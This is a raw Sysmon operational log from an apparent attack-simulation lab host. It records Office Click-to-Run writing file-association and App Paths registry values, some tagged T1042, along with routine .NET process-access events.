Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe\UseURL1 13241300x800000000000000040384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe\(Default)C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOXMLED.EXE 13241300x800000000000000040383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MsoHtmEd.exe\UseURL1 13241300x800000000000000040382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoasb.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\msoasb.exe 13241300x800000000000000040381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoadfsb.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\msoadfsb.exe 13241300x800000000000000040380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.409{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\skypecast15\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.409{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\tel\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.409{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\sip\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 10341000x800000000000000040377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.393{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6408-00000000F001}7164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.393{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Microsoft.Lync.15TelProtocol.1\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.393{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Microsoft.Lync.15Join.1\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.393{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Microsoft.Lync.15ClassicJoin.1\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.393{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ma-filelink\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.393{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Lync15classic\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.378{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Lync15\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 10341000x800000000000000040370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.378{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}7164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.378{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}7164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.378{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ma-chan\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.378{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\callto\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.378{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\sips\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.362{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\conf\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.362{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\im\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.362{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNoteDesktop.URL.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.URL.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNoteDesktop\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Folder.1\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Folder.1\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.346{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Folder.1\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 10341000x800000000000000040357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.331{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6308-00000000F001}7048C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Notebook.1\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Notebook.1\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Notebook.1\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.331{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.TableOfContents.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /navigate "%%1" 13241300x800000000000000040351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.315{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.TableOfContents\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /navigate "%%1" 10341000x800000000000000040350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.315{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}7048C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.315{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}7048C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.315{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Package\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.315{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Section.1\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /print "%%1" 13241300x800000000000000040346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.315{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Section.1\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.315{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Section.1\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.315{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Section.1\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /new "%%1" 13241300x800000000000000040343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.315{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.Section.1\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" "%%1" 13241300x800000000000000040342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.299{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.UriLink.16\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.284{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-word\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.284{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Wizard.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.284{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Backup.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 10341000x800000000000000040338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.284{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6208-00000000F001}5312C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.284{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Backup.8\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Backup.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Backup.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 13241300x800000000000000040334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Backup.8\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Backup.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Backup.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.RTF.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.RTF.8\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.RTF.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.RTF.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 13241300x800000000000000040327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.RTF.8\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.RTF.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 